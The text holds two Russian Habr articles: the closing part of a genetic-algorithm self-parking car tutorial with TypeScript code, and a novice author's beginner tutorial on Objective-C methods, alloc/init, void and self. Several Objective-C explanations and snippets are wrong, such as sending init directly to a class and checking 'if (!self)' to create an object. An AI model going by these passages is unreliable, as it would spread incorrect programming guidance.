cumulativeWeights[i] = weights[i] + (cumulativeWeights[i - 1] || 0);
}
// Getting the random number in a range [0...sum(weights)]
// For example:
// - weights = [1, 4, 3]
// - maxCumulativeWeight = 8
// - range for the random number is [0...8]
const maxCumulativeWeight = cumulativeWeights[cumulativeWeights.length - 1];
const randomNumber = maxCumulativeWeight \* Math.random();
// Picking the random item based on its weight.
// The items with higher weight will be picked more often.
for (let i = 0; i < items.length; i += 1) {
if (cumulativeWeights[i] >= randomNumber) {
return {
item: items[i],
index: i,
};
}
}
return {
item: items[items.length - 1],
index: items.length - 1,
};
};
```
Использовать эту функцию довольно просто. Допустим, вы очень любите бананы и хотите есть их чаще, чем клубнику. Вы можете вызвать функцию `const fruit = weightedRandom(['banana', 'strawberry'], [9, 1])`, и в `≈9` случаях из `10` переменная `fruit` будет равна `banana`, и только в `≈1` из `10` случаев она будет равна `strawberry`.
Чтобы избежать потери лучших особей (назовем их чемпионами) в процессе спаривания, мы можем также ввести так называемый параметр `longLivingChampionsPercentage`. Например, если `longLivingChampionsPercentage = 10`, то `10%` лучших автомобилей из предыдущей популяции будут перенесены в новое поколение. Вы можете представить, что есть некоторые долгожители, которые могут прожить долгую жизнь и увидеть своих детей и даже внуков.
Мы можем реализовать функцию `select()` следующим образом:
```
// The number between 0 and 100.
type Percentage = number;
type SelectionOptions = {
mutationProbability: Probability,
longLivingChampionsPercentage: Percentage,
};
// @see: https://en.wikipedia.org/wiki/Selection_(genetic_algorithm)
function select(
generation: Generation,
fitness: FitnessFunction,
options: SelectionOptions,
) {
const {
mutationProbability,
longLivingChampionsPercentage,
} = options;
const newGeneration: Generation = [];
const oldGeneration = [...generation];
// First one - the fittest one.
oldGeneration.sort((genomeA: Genome, genomeB: Genome): number => {
const fitnessA = fitness(genomeA);
const fitnessB = fitness(genomeB);
if (fitnessA < fitnessB) {
return 1;
}
if (fitnessA > fitnessB) {
return -1;
}
return 0;
});
// Let long-liver champions continue living in the new generation.
const longLiversCount = Math.floor(longLivingChampionsPercentage * oldGeneration.length / 100);
if (longLiversCount) {
oldGeneration.slice(0, longLiversCount).forEach((longLivingGenome: Genome) => {
newGeneration.push(longLivingGenome);
});
}
// Get the data about he fitness of each individuum.
const fitnessPerOldGenome: number[] = oldGeneration.map((genome: Genome) => fitness(genome));
// Populate the next generation until it becomes the same size as a old generation.
while (newGeneration.length < generation.length) {
// Select random father and mother from the population.
// The fittest individuums have higher chances to be selected.
let father: Genome | null = null;
let fatherGenomeIndex: number | null = null;
let mother: Genome | null = null;
let matherGenomeIndex: number | null = null;
// To produce children the father and mother need each other.
// It must be two different individuums.
while (!father || !mother || fatherGenomeIndex === matherGenomeIndex) {
const {
item: randomFather,
index: randomFatherGenomeIndex,
} = weightedRandom<Genome>(generation, fitnessPerOldGenome);
const {
item: randomMother,
index: randomMotherGenomeIndex,
} = weightedRandom<Genome>(generation, fitnessPerOldGenome);
father = randomFather;
fatherGenomeIndex = randomFatherGenomeIndex;
mother = randomMother;
matherGenomeIndex = randomMotherGenomeIndex;
}
// Let father and mother produce two children.
const [firstChild, secondChild] = mate(father, mother, mutationProbability);
newGeneration.push(firstChild);
// Depending on the number of long-living champions it is possible that
// there will be the place for only one child, sorry.
if (newGeneration.length < generation.length) {
newGeneration.push(secondChild);
}
}
return newGeneration;
}
```
#### Фитнеса-функция (функция пригодности)
Пригодность автомобиля будет определяться расстоянием от автомобиля до места парковки. Чем выше дистанция, тем ниже пригодность.
Мы будем рассчитывать среднее расстояние от `4` колес автомобиля до соответствующих `4` углов парковочного места. Это расстояние мы будем называть потерей (уроном), которая обратно пропорциональна приспособленности.
Вычисление расстояния между каждым колесом и каждым углом по отдельности (вместо простого расчета расстояния от центра автомобиля до центра парковочного места) позволит автомобилю сохранять правильную ориентацию относительно парковочного места.
Расстояние между двумя точками в пространстве будет вычисляться на основе [**теоремы Пифагора**](https://en.wikipedia.org/wiki/Pythagorean_theorem) (ура! она наконец-то понадобилась после школы!) следующим образом:
```
type NumVec3 = [number, number, number];
// Calculates the XZ distance between two points in space.
// The vertical Y distance is not being taken into account.
const euclideanDistance = (from: NumVec3, to: NumVec3) => {
const fromX = from[0];
const fromZ = from[2];
const toX = to[0];
const toZ = to[2];
return Math.sqrt((fromX - toX) ** 2 + (fromZ - toZ) ** 2);
};
```
Расстояние между автомобилем и местом парковки (урон) будет рассчитываться следующим образом:
```
type RectanglePoints = {
fl: NumVec3, // Front-left
fr: NumVec3, // Front-right
bl: NumVec3, // Back-left
br: NumVec3, // Back-right
};
type GeometricParams = {
wheelsPosition: RectanglePoints,
parkingLotCorners: RectanglePoints,
};
const carLoss = (params: GeometricParams): number => {
const { wheelsPosition, parkingLotCorners } = params;
const {
fl: flWheel,
fr: frWheel,
br: brWheel,
bl: blWheel,
} = wheelsPosition;
const {
fl: flCorner,
fr: frCorner,
br: brCorner,
bl: blCorner,
} = parkingLotCorners;
const flDistance = euclideanDistance(flWheel, flCorner);
const frDistance = euclideanDistance(frWheel, frCorner);
const brDistance = euclideanDistance(brWheel, brCorner);
const blDistance = euclideanDistance(blWheel, blCorner);
return (flDistance + frDistance + brDistance + blDistance) / 4;
};
```
Поскольку пригодность (`fitness`) должна быть обратно пропорциональна урону (`loss`), мы рассчитаем ее следующим образом:
```
const carFitness = (params: GeometricParams): number => {
const loss = carLoss(params);
// Adding +1 to avoid a division by zero.
return 1 / (loss + 1);
};
```
Вы можете увидеть значения `fitness` и `loss` для определенного генома и для текущего положения автомобиля на панели [**симулятора**](https://trekhleb.dev/self-parking-car-evolution?parking=evolution#/):
### Запускаем эволюцию
Соберем вместе функции эволюции. Мы собираемся «создать мир», запустить цикл эволюции, заставить время идти, поколение - эволюционировать, а автомобили - учиться парковаться.
Чтобы получить значения пригодности для каждой машины, нам нужно запустить симуляцию поведения машин в виртуальном трехмерном мире. [**Симулятор эволюции**](https://trekhleb.dev/self-parking-car-evolution) делает именно это - он запускает приведенный ниже код в симуляторе, [**созданном с помощью Three.js**](https://github.com/trekhleb/self-parking-car-evolution):
```
// Evolution setup example.
// Configurable via the Evolution Simulator.
const GENERATION_SIZE = 1000;
const LONG_LIVING_CHAMPIONS_PERCENTAGE = 6;
const MUTATION_PROBABILITY = 0.04;
const MAX_GENERATIONS_NUM = 40;
// Fitness function.
// It is like an annual doctor's checkup for the cars.
const carFitnessFunction = (genome: Genome): number => {
// The evolution simulator calculates and stores the fitness values for each car in the fitnessValues map.
// Here we will just fetch the pre-calculated fitness value for the car in current generation.
const genomeKey = genome.join('');
return fitnessValues[genomeKey];
};
// Creating the "world" with the very first cars generation.
let generationIndex = 0;
let generation: Generation = createGeneration({
generationSize: GENERATION_SIZE,
genomeLength: GENOME_LENGTH, // <- 180 genes
});
// Starting the "time".
while(generationIndex < MAX_GENERATIONS_NUM) {
// SIMULATION IS NEEDED HERE to pre-calculate the fitness values.
// Selecting, mating, and mutating the current generation.
generation = select(
generation,
carFitnessFunction,
{
mutationProbability: MUTATION_PROBABILITY,
longLivingChampionsPercentage: LONG_LIVING_CHAMPIONS_PERCENTAGE,
},
);
// Make the "time" go by.
generationIndex += 1;
}
// Here we may check the fittest individuum of the latest generation.
const fittestCar = generation[0];
```
После запуска функции `select()` массив `generation` сортируется по значениям пригодности в порядке убывания. Следовательно, наиболее приспособленный автомобиль всегда будет первым автомобилем в массиве.
**Автомобили 1-го поколения** со случайным геномом будут вести себя примерно так:
**Автомобили ≈40-го поколения** начинают учиться парковаться самостоятельно и все ближе приближаются к месту парковки:
Другой пример с немного более сложной стартовой точкой:
По пути машины сталкиваются с другими машинами, а также неточно занимают парковочное место, но это всего-лишь 40-е поколение с момента создания мира для них, так что вы можете дать машинам еще немного времени для обучения.
Из поколения в поколение мы можем видеть, как урон уменьшается (что означает, что значения пригодности растут). `P50 Avg Loss` показывает среднее значение урона (среднее расстояние от автомобилей до места парковки) для `50%` наиболее приспособленных автомобилей. `Min Loss` показывает урон наиболее приспособленного автомобиля в каждом поколении.
Вы можете видеть, что в среднем `50%` наиболее приспособленных автомобилей учатся приближаться к месту парковки (от `5,5м` от места парковки до `3,5м` за `35` поколений). Тренд для значений `Min Loss` менее очевиден (от `1м` до `0,5м` с некоторыми шумом), однако из анимации выше вы можете увидеть, что автомобили научились некоторым базовым парковочным движениям.
### Заключение
В этой статье мы свели высокоуровневую задачу создания авто способного парковаться самостоятельно к более простой и низкоуровневой задаче нахождения оптимальной комбинации из `180` единиц и нулей (нахождение оптимального генома автомобиля).
Затем мы применили генетический алгоритм, чтобы найти оптимальный геном автомобиля. Это позволило нам получить довольно хорошие результаты за несколько часов моделирования (вместо потенциальных многих лет использования наивного подхода).
Вы можете запустить 🚕 [**Симулятор эволюции**](https://trekhleb.dev/self-parking-car-evolution), чтобы увидеть эволюционный процесс прямо в браузере. Симулятор предоставляет следующие возможности:
* Вы сможете [**начать тренировку машин с нуля**](https://trekhleb.dev/self-parking-car-evolution?parking=evolution#/) и изменить параметры эволюции
* Вы сможете [**увидеть как паркуются уже натренированные авто**](https://trekhleb.dev/self-parking-car-evolution?parking=automatic#/)
* Вы также можете [**попробовать припарковать авто вручную**](https://trekhleb.dev/self-parking-car-evolution?parking=manual#/)
Полный генетический исходный код, показанный в этой статье, также можно найти в репозитории [**Evolution Simulator repository**](https://github.com/trekhleb/self-parking-car-evolution). Если вы один из тех, кто действительно будет считать и проверять количество строк, чтобы убедиться, что их меньше 500 (без учета тестов), пожалуйста, проверьте код [**здесь**](https://github.com/trekhleb/self-parking-car-evolution/tree/master/src/libs) 🥸.
Остался еще ряд **нерешенных проблем** с кодом и симулятором:
* Мозг автомобиля слишком упрощен и использует линейные уравнения вместо, скажем, нейронных сетей. Это делает автомобиль неприспособленным к новому окружению или новым типам парковок.
* Мы не уменьшаем значение пригодности машины, когда она наезжает на другую машину. Таким образом, автомобиль не «чувствует» никакой вины в создании ДТП.
* Симулятор эволюции нестабилен. Это означает, что один и тот же автомобильный геном может давать немного разные значения приспособленности, что делает эволюцию менее эффективной.
* Симулятор эволюции также очень "тяжелый" с точки зрения производительности, что замедляет прогресс эволюции, поскольку мы не можем обучить, скажем, 1000 машин одновременно.
* Также симулятор требует, чтобы вкладка браузера была открыта и активна для выполнения симуляции.
* и [**пр.**](https://github.com/trekhleb/self-parking-car-evolution/issues)
Тем не менее, целью этой статьи было изучение того, как работает генетический алгоритм, а не создание самопаркующейся Tesla. Я надеюсь, вы хорошо провели время, читая статью, даже с учетом упомянутых выше недоработок.
 | https://habr.com/ru/post/580812/ | null | ru | null |
# Objective-C как первый язык программирования
Данный пост был задуман после того, как на некоторые важные вопросы не было найдено внятных ответов. Я отнюдь не претендую на то, что стал крутым программистом. Нет, всё ещё впереди, но период высиживания уже пройден. Это статья из цикла «Не умеешь сам — научи другого». В смысле, чтобы что-то лучше понять нужно это что-то, кому-то объяснить. Мопед не мой, эта фраза встречалась мной раньше в публикациях на Хабре. Некоторые вещи очень сложно понять. И люди, которые понимают, обычно не могут объяснить начинающему. Может быть меня тоже это ждёт. Это как разговор взрослого и ребёнка. Практически конфликт поколений. Пока мой уровень не перерос в профессионала, нужно изложить моё текущее видение.
В статье, термины которые используются при объяснении различных понятий взяты в кавычки. Статья написана для людей, которые уже научились отличать циклы от массивов и понимают что такое функция и метод.
Если Вы, никогда не программировали, то книга Кернигана и Ритчи (в любом издании), Вам явно будет не по силам. В природе не существует такой силы воли, которая смогла бы заставить Вас дочитать книгу до конца, при этом решить все приведённые задачи.
Очень рекоммендую BecomeAnXcoder. Там всё написано достаточно понятно для людей, которые о программировании знают крайне мало. Информация немного устарела, но для старта сойдёт. Может она Вам уже попадалась на глаза или вы даже скачали её, но отложили в каталог с литературой (ну такой каталог есть у каждого, он занимает десятки гигабайт и всё это мы собираемся прочитать как только появится свободное время, а каталог всё растёт...).
Понятно, что оптимальный вариант — MAC. На худой конец — Хакинтош или виртуальная машина. И даже если процессор не позволяет запустить ничего из вышеизложенного — начать можно прямо в блокноте с последующей компиляцией в коммандной строке.
На многих форумах можно найти популярный вопрос, задаваемый людьми, которые, по-видимому находятся в тяжело-бронированном танке: «Нужно ли программисту Objective-C учить собственно С?». Везде пишут одно и то же. Те кто побородатее и начинали со структурного программирования — говорят, что просто необходимо стать, как минимум MiddleDeveloper'ом в C, и лишь потом искать путь в лютых дебрях ООП, коим является Objective-C. Те кто не знал С, но уже каким-то образом достиг статуса MiddleDeveloper'а, возражают: мол, выучи как кнопки на iPhone рисуются и как им назначить функцию, а матчасть — потом подтянется, по мере необходимости. Категорически заявляю, что выучить как кнопкам назначаются функции, не есть программирование! Я не призываю потратить полгода на понимание чистого С. Но пару недель — месяц уделить стоит. Это даст некоторый бэкграунд Вашим амбициям. По мере обучения уже Objective-C обязательно будут возникать такие структуры кода, что не будет ничего понятно. Поэтому, предлагаю безо всякого фанатизма, но детально ознакомиться с книгой Крупника А.Б. «Изучаем Си». Она раза в 3 больше предыдущей по объему, но читается легко и непринуждённо. В книге опять же, на достаточно доступном уровне, объясняются основные азы программирования. В ней можно узнать как отличить массив от цикла и что такое указатели.
Недавно на Хабре промелькнула статья, где автор приводил кучу литературы, которую советовал прочитать и пойти работать джуниором за хлеб. Если Вы просто прочитаете всю приведенную в той статье литературу, то ничему не научитесь, а если вы сможете перерешать и запомнить опять же всю литературу, то Вам можно будет идти не джуниором, а солидным разработчиком.
#### Начало: метод класса и метод экземпляра
Что такое метод? Это набор команд/инструкций или одна команда/инструкция, которая может быть применена к объекту и вызывает в нём необходимые процессы. Если так не совсем понятно, то читайте дальше и поймёте. На самом деле тяжело понять что такое метод класса и метод экземпляра. Все говорят: «со знаком „+“ — это метод класса, а вот со знаком „-“ — это метод экземпляра. Понятно?» И в ответ слышат: «Да-а, метод класса и метод экземпляра». Я лично сначала понимал только то что они разные, а вот что и когда применять — осталось не понятным. Википедия упорно повторяет то же самое, что мы слышали и читали.
В подавляющем большинстве случаев, Вы будете работать с методами экземпляра.
Итак, метод экземпляра. Представим, что у нас есть программа, в которой мы будем использовать 2 класса: Primus и Kitchen.
Любой класс (кроме абстрактного) имеет методы и/или функции. Класс может иметь несколько методов со знаком "+" перед названием метода (метод класса) и несколько методов со знаком "-" перед названием метода (метод экземпляра). Вот те методы, которые со знаком "-" мы активно применяем в отношении объектов — экземпляров класса и собственно класса. А методы со знаком "+" можно применять только в отношении самого класса, где этот метод был объявлен.
#### Что такое экземпляр класса?
Звучит гордо, но непонятно. Кто помнит из школьного курса: в геометрии точка — родитель для круга, прямой и прочих фигур, потому что каждая фигура состоит из множества точек.
Класс для Objective-C, на некоторых ресурсах интерпретируют как объект и наоборот. На самом деле это немного на так. Можно сказать что объект это экземпляр класса. Как конкретный экземпляр стоящего у Вас на кухне примуса — это экземпляр типа «Примус»: с крутилками, горелкой и пр. Это не просто примус — это Ваш примус. Класс — это пример для подражания. Образец-эталон чего-то, что тоже может исполнять некоторые функции благодаря методам класса (со знаком "+"). [Вот здесь](http://habrahabr.ru/qa/4847/) можно прочитать немного более развёрнуто.
Также есть «протоколы» и «абстрактные классы». Здесь всё более интересно, но порог понимания выше чем у класса и объекта. Различие состоит в том, что «протокол» не может иметь подкласс или дочерний объектно его на наследуют, ему нужно соответствовать. Как требованию при приёме на работу. Применение протоколов в реальной жизни я затрону в этой статье. Абстрактный класс — это такая сущность, которая как бы класс, но не совсем конкретный класс, потому и абстрактный. Например опять же, Ваш домашний примус — он экземпляр класса «Примус», а не какого-то абстрактного класса «Нагревательный прибор». Вы же не можете иметь дома нагревательный прибор без рода и племени (это может быть также камин и батарея). Вот таким образом, класс «Примус» — может быть наследником абстрактного класса «Нагревательный прибор». А уже Ваш примус — экземпляр конкретного определения примуса. И за своими атрибутами — свойствами, методами, протоколами он при использовании обращается к своему классу и сверяет что он может делать что не может и что он вообще может иметь в наличии.
Представим что есть некий класс «Горелка газовая» — наследник абстрактного класса «Нагревательный прибор». Класс «Горелка газовая» будет родительским для «Примуса» и «Газовой плиты». Для того, чтобы приблизиться к программированию, нужно немного абстрагироваться.
В Objective-C есть родительский класс NSObject. В языке программирования он как точка в геометрии. Это идеальный класс: в нём нет ничего лишнего, он ничего конкретного делает, но из него можно создать всё что угодно. Такой вот кирпичик мироздания. Если в Xcode зажать кнопку «Command» и кликнуть на NSObject, то перед Вами откроется содержимое файла NSObject.h. В нём около 200 строк описания различных методов. Есть как методы со знаком "+" перед названием, а также методы со знаком "-". Суть методов со знаком "+" такова что их можно применить только непосредственно к самому NSObject. Таким методом является, например,
```
+(id) alloc;
```
и применять его можно только так:
```
[NSObject alloc];
```
Любой другой объект в Objective-C по определению — потомок NSObject. В нём реализовываются дополнительные методы, которые придают ему черты индивидуальности. Допустим это NSResponder. У этого потомка — NSResponder’а тоже могут быть дочерние объекты. К примеру UIView. Далее по древу наследования можно в качестве примера взять UIScrollView. Потом — UITableView. В каждом случае потомки обрастают дополнительным функционалом. Кроме того, что они умеют делать что-то своё, индивидуальное, они могут делать всё то что может делать их предок. Это и есть — **наследование**.
Если же вы не хотите, чтобы Ваш класс-потомок абсолютно точно копировал поведение класса-родителя, то можно переделать любой метод класса — родителя по Вашему вкусу. Это есть — **полиморфизм**.
В Ваших программах вы будете брать нужный Вам класс и добавляя в него нужные методы — расширять его функционал. Также можно брать созданный Вами класс и делать его потомка, опять же расширяя функционал и одновременно создавая уникальный инструмент, для решения нужной задачи. Описанный механизм называется — создание подклассов «subclass».
Не буду вдаваться в широкие описания методов со знаком "+". Нагляднее будет показать, что применение метода
```
+(id) alloc;
```
к любому классу или подклассу выделяет под него нужный объём памяти в ОЗУ компьютера.
```
NSObject *object = [NSObject alloc];
```
Применение метода
```
-(id) init;
```
инициализирует объект, выделяет для него место в ОЗУ и собственно после этого объект начинает существовать и с ним можно работать.
```
NSObject *object = [[NSObject alloc] init];
```
Эти 2 метода («alloc» и «init») только что создали объект «object». И данный объект является экземпляром объекта или экземпляром класса NSObject. Если применить эти методы по раздельности
```
NSObject *object = [NSObject alloc];
[object init];
```
то объект тоже будет создан. Но есть ненулевая вероятность того Вы создадите не тот объект, которому выделили память. Допустим, вызов метода
```
NSObject *object = [NSObject alloc];
```
выделил для него такой адрес в памяти
```
0x000000000
```
Так происходит потому что при инициализации, исполняемая среда, всем объектам задаёт значение «nil», чтобы избежать ссылки на место в памяти, заполненное «мусором». Или ссылки на другой конкретный объект, который по факту тоже уже является «мусором», потому что он закончил свой жизненный цикл и уже не «хранится» в памяти, а просто «находится». Для того чтобы понять что такое «мусор», создайте простейшую программку, в которой объявите
```
int i;
```
не присваивая ей значение, а потом выведите её значение в консоль
```
NSLog(@"%i", i);
```
Вы будете удивлены тем, чему равняется Ваше «i».
Также будет создан экземпляр объекта «isa», который будет рассмотрен позже. Это единственный ненулевой указатель при создании Вашего объекта. Допустим, это ниточка к родительскому объекту, который породит свой экземпляр и даст жизнь нашему объекту.
То есть теоретически объект уже есть после применения метода «alloc». Но он не сможет пройти проверку
```
if (!self){
...
}
```
Такой кусок кода можно видеть в любом шаблонном объекте в методе «init» или его производных.
В данном случае, объект вроде как есть, но в принципе он равен «nil». Не инициализированный объект — это как машина, которую Вы только собираетесь купить в кредит. Вроде как есть, но она не Ваша. И если не отходя от кассы применить метод «init»
```
NSObject *object = [[NSObject alloc] init];
```
то «Бинго!», и объект принадлежит Вам, с ним можно делать всё что хотите. А вот если к нему применить метод
```
[object init];
```
то инициализироваться может другой объект. Вроде как вы выплатили кредит за машину, но оказалось что не за ту машину и Вам вместо одного автомобиля дают другой. Они на первый взгляд не отличимы друг от друга. Но у них разные «VIN» номера, а значит при проверке на посту «ГАИ» Вам сообщат что авто не Ваш. Ниже будет приведено дополненное объяснение этого явления.
Как Вы уже поняли метод "+alloc" — метод класса, а метод "-init" — метод экземпляра.
Приведу пример с реальными вещами.
Полная реализация метода включает в себя обычно 2 файла с расширениями \*.h и \*.m. Бывает и другое количество, в зависимости от того, что это за класс и какие цели он преследует.
В Вашей программе есть класс «Primus». В файле «Primus.h» объявлены методы:
```
Primus. h
//метод класса, можно применить только к классу "Primus"
+(Primus *) hotAsHell;
//метод экземпляра, инициализирует экземпляр класса "Primus"
-(id) initWithGas:(Gas *)gas temperature:(NSInteger)t;
//метод экземпляра, задаёт параметры пламени
-(void) doFireWithGas:(Gas *)gas;
//метод экземпляра, но его применение к текущему классу, вызывает экземпляр совсем другого объекта
-(MasterPoRemontu *) masterPoRemontuWithServiceItems:(NSArray *)i
serviceSkills:(NSArray *)s;
```
Также в программе есть класс «Kitchen», где в файле «Kitchen.h», объявлены методы:
```
Kitchen.h
//метод класса, создаёт экземпляр объекта "Kitchen" и применяется непосредственно к объекту "Kitchen"
+(Kitchen *) kitchenFurniture:(NSArray *)furniture
otherDishes:(NSArray *)dish;
//метод экземпляра, применение его к кухне вызывает экземпляр другого объекта
-(UkrainianBorsch *) borschWithIngredients:(NSarray)ingredients
casserolAndPan:(NSArray)pan;
```
В файлах «Primus.m» и «Kitchen.m» все объявленные методы должны быть реализованы, то есть описаны: как и что в каждом методе происходит.
Если вы собираетесь в каком-либо классе создавать экземпляр объекта другого класса, то в шапке нужно будет импортировать файл \*.h создаваемого объекта, например в шапке файла Kitchen.h мы впишем
```
#import "Primus.h"
```
То есть можно будет создать класс «Primus» внутри класса «Kitchen».
Так как мы импортировали заголовочный файл Primus.h в файл «Kitchen.h», то в классе «Kitchen» нам стали доступны те методы экземпляра класса «Primus», которые объявлены в файле Primus.h. Их можно будет применять либо по отношению к классу, либо по отношению к экземпляру класса «Primus».
В файле Primus.m обязательно нужно реализовать все методы, которые были объявлены в файле Primus.h, но также в нём можно реализовать любой метод не объявленный в заголовочном файле Primus.h. Этот метод будет доступен только изнутри класса и его нельзя будет вызвать в другом классе в программе. Так же можно создавать переменные внутри файла Primus.m — они так же не будут доступны для внешнего использования. О них просто не знают. Потому файл типа \*.h и называется интерфейсом класса. Только то, что явно в нём указано — доступно извне тому классу, в котором прописано
```
#import "Primus.h"
```
. Недоступность методов и переменных для других частей программы называется — **инкапсуляция**.
Для начала создадим экземпляр класса «Primus» внутри класса «Kitchen»
```
Primus *myPrimus = [Primus hotAsHell];
```
Как видите, мы посылаем метод c "+" не экземпляру класса «myPrimus», а непосредственно классу «Primus». Экземпляр класса «Primus» под названием «myPrimus» создан. В дальнейшем, методы из «Primus.h» со знаком "-" будут применяться к экземпляру класса — «myPrimus». И если захотим создать новый экземпляр класса «Primus», то можно будет опять воспользоваться методом "+hotAsHell". Также в классе «Primus» есть метод
```
-(id) initWithGas:(Gas *)gas temperature:(NSInteger)t;
```
Обычно все методы, название которых начинается с «init», делают то же самое что и метод «init» класса NSObject, только с расширенными возможностями. И в данном случае применение метода «init» в таком ракурсе
```
Primus *myPrimus = [[Primus alloc] initWithGas:Propan temperature:750];
```
создаст новый объект класса «Primus» с уникальными характеристиками.
В описанном только что примере был применён метод с аргументами. В данном, конкретном случае, он применяется для создания экземпляра класса «Primus» с чётко заданными характеристиками. По названию характеристик видно, что данный экземпляр класса «Primus» будет работать на газе типа «Propan» и при температуре 750 градусов.
Обратите внимание, что названия методов в Objective-C весьма осмысленны. Временами Вы будете поражены их названиями состоящими из 10 слов, но это способствует лучшему понимаю написанного. Грубо говоря код получается самодокументируемым. Что конечно же не исключает необходимости написания комментариев. Но если взять за правило создавать свои методы, название которых будет нести смысловую нагрузку и таким же образом относиться к созданию переменных, то количество комментариев в коде можно заметно снизить.
В отличие от некоторых других языков программирования в Objective-C методы не вызываются, а посылаются объектам. Таким образом, этот ЯП относится к «message oriented language», на русском языке звучит не так строго, поэтому перевод не привожу.
Также обратите внимание на то, что все методы которые после посылки объекту создают (возвращают) новый объект имеют в скобочках после "+" или "-" либо конкретное название объекта, экземпляр которого они будут возвращать, либо «id». То есть, по том, какой объект указан в скобочках сразу после знака "+" или "-", можно судить что мы получим после посылки этого метода. Что такое «id»? Это такой тип объекта, который может принимать форму (тип) любого другого объекта. Скажем это «слабый» тип объекта. Не в смысле того, что ему что-то «слабо». Если говорить общепринятыми понятиями, то это слабо типизированный объект. Наличие таких объектов в ЯП делает его слабо типизированным.
Также можно в этих самых скобочках обнаружить тип «void».
#### Что такое «void»?
Все говорят: «это когда метод ничего не возвращает». А зачем же он нужен? Применение метода этого типа всё же производит манипуляции с объектами, структурами и цифрами. Также объекты и скалярные величины, попавшие в него в качестве аргументов могут измениться либо вообще исчезнуть. Всё зависит от того, что реализовано внутри каждого конкретного метода. Дело в том, что «void» таки ничего не возвращает… нового. Как и было сказано, то что попавшие в него аргументы могут изменяться сами, либо влиять на другие объекты, манипуляция с которыми производится в методе с «void». Он может даже создавать новые объекты внутри себя, но наружу ничего не возвращается в явном виде. Обычно метод, который возвращает что-то, имеет ключевое слово «return» в самом конце. А метод типа «void», «return» в конце не имеет. Он может его иметь внутри своих собственных циклов или условий, чтобы иметь возможность прервать их в нужном месте. Но не в конце. Метод не создаёт ничего принципиально нового, он просто, работая с указателем на какой-то объект (число, массив, ячейка и т.д.), меняет данные по этому адресу или применяет их для расчёта других данных, которые присваивает другим объектам.
#### Что такое «self»?
Это слово очень часто применяется где попало. Сам факт его применения во всевозможных местах, вносит путаницу в стройные кладовые Ваших знаний.
Вернёмся к классам «Primus» и «Kitchen». Возьмём конкретный метод класса «Primus» и рассмотрим как будет выглядеть его реализация в файле «Primus.m». Например это метод.
```
-(void) doFireWithGas:(Gas *)gas;
```
может быть реализован таким образом:
```
-(void) doFireWithGas:(Gas *)gas {
id myPrimus;
if (!self){
myPrimus = [self initWithGas:gas temperature:750];
}
...
...
...
}
```
В фигурных скобках происходит реализация или «имплиментация» метода. В данном случае, реализация метода читается так: если не myPrimus, то выполнить команду
```
[self initWithGas:propan temperature:750];
```
которая в свою очередь читается как: себе инициализировать с газом:gas температурой:750. То есть, метод посылается себе, а не какому-нибудь другому объекту. В данном случае «себе» — это классу «Primus», так как метод находится внутри класса «Primus». Его объявление — в файле Primus.h и реализация в файле Primus.m.
Также можно заметить, что метод ничего не возвращает «void». То есть получается каламбур: если примуса нет, то мы его создаём, но наружу он из метода не выходит. Зачем его тогда создавать? Допустим его функционал реализован так:
```
id myPrimus;
if (!self){
myPrimus = [self initWithGas:gas temperature:750];
}
MasterPoRemonty *master = [myPrimus masterPoRemontuWithServiceItems:someItemsArray
serviceSkills:someSkillsAray];
}
```
И тут уже понятно что где-то внутри метода появляется мастер по ремонту примуса.
Почему был использован знак восклицания "!" в скобках после «if»? В программировании это — знак отрицания. То есть "!=" звучит как «не равно». Этот способ условия удобен своей лаконичностью. В данном примере можно было использовать другое по структуре условие, которое несло бы ту же самую функцию.
```
if (myPrimus == nil){}
```
Это условие имеет в 2 раза большую длину и нужно полностью читать всю строку, чтобы понять его. Это условие небольшое, но если Вам нужно записать что-то вроде этого
```
if ((myPrimus == nil || yourPrimus == nil) && (mamaPrimus == nil || papaPrimus == nil)){}
```
то эта структура
```
if ((!myPrimus || !yourPrimus) && (!mamaPrimus || !papaPrimus)){}
```
будет в более выигрышной позиции, как по лаконичности так и по физическому размеру. Предыдущая конструкция — банально может просто не влезть в одну строку.
Рассмотрим как выглядела бы реализация этого метода в рамках класса «Kitchen». В файле «Kitchen.m» тот же метод будет реализован так:
```
-(void) doFireWithGas:(Gas *)gas {
Primus *myPrimus;
if (!myPrimus){
Primus *myPrimus = [Primus initWithGas:gas temperature:750];
}
MasterPoRemonty *master = [myPrimus masterPoRemontuWithServiceItems:someItemsArray
serviceSkills:someSkillsAray];
...
...
}
```
Видно, что здесь нужно указать, какой объект будет создаваться, как будет называться его экземпляр и потом непосредственно родительскому классу посылать метод.
То есть, хитрое слово «self», применяется внутри класса, как будто вы уже создали его экземпляр.
```
Primus *myPrimus;
```
и обращаетесь к экземпляру класса. Только фишка в том, что вы ничего не создавали, и обращаетесь не к экземпляру, а напрямую к классу. Для наглядности я создал объект
```
id myPrimus;
```
к которому можно обратиться с методом. Но можно было его не создавать, а реализовать более сложную структуру, которая выполняла бы те же самые функции
```
if (!self){
MasterPoRemonty *master = [[self initWithGas:gas temperature:750] masterPoRemontuWithServiceItems:someItemsArray
serviceSkills:someSkillsAray];
}
```
Для того, чтобы понять можно ли написать «self» или нельзя — просто представьте себе какой метод какому объекту Вы хотите послать и начните вводить слово «self», но не до конца, например «sel». Xcode предложит несколько вариантов, среди которых будет собственно «self». Слева от него будет описание — какой это класс. Если это именно тот класс, которому вы хотели послать нужный метод (класс внутри которого вы сейчас производите действие), значит используйте «self». Если Xcode указывает, что «self» это не тот объект, который Вам нужен — то используйте имя класса или экземпляра нужного Вам.
Также видно что здесь были задействованы аргументы. У каждого аргумента есть тип, который тоже описан в скобках, но после двоеточия. После скобок с типом аргумента идёт имя аргумента. Если в скобках присутствует знак "\*" после типа аргумента, то это объект. Если знака "\*" нет, то это скалярный тип, например «NSInteger», который по сути является простым «int». Также «NSInteger» может быть со знаком "\*" для передаваемого аргумента. В таком случае мы будем передевавать не саму переменную, а указатель на неё. Тема Указателей выходит за рамки данной статьи. Имя аргумента, в данном методе
```
-(void) doFireWithGas:(Gas *)gas;
```
будет звучать как «gas». Вы обратили внимание, что в реализации не было использовано нормального названия газа? Например «Propan». Дело в том, что в аргументе «gas» как раз и передаётся нужное название газа. Откуда? Мы рассмотрели как реализовуется метод
```
-(void) doFireWithGas:(Gas *)gas;
```
В нём был задействован метод
```
-(id) initWithGas:(Gas *)gas temperature:(NSInteger)t;
```
В этом методе было 2 аргумента «gas» и «t». В посылке метода объекту, температуру мы указали, а тип газа просто продублировали от метода
```
-(void) doFireWithGas:(Gas *)gas;
```
То есть этот метод тоже где-то посылается. Рассмотрим поближе метод
```
(Primus *) hotAsHell;
```
Его реализация может выглядеть так
```
+(Primus *) hotAsHell{
self = [super init];
if (self){
